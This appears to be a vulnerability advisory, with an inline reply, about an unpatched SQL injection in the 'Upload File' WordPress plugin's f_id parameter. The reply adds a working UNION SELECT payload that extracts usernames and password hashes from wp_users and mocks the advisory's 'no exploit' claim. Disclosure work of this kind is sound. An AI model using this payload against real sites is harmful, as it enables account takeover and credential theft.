--------------------Summary----------------

Software: Upload File (WordPress Plugin)

Critical Level: Moderate

Type: SQL Injection

Class: Remote

Status: Unpatched

PoC/Exploit: Not Available ---> *

Solution: Not Available

Discovered by: eserg.ru

-----------------Description---------------

1. SQL Injection.

http://localhost/[path]/wp-uploadfile.php?f_id=[SQL]

---> no exploit

SQL query:

null/**/union/**/all/**/select/**/concat(user_login,0x3a,user_pass)/**/f

rom/**/wp_users/*

--> exploit.

--------------PoC/Exploit----------------------

Waiting for developer(s) reply.

--> 1)haha ...

--> 2)so what you're going to make an exploit for a simple GET request ?

--------------Solution---------------------

--> read this http://www.hsc.fr/ressources/normalisation/saf/draft-debeaupuis-saf-00.t
xt

Regards.

[ reply ]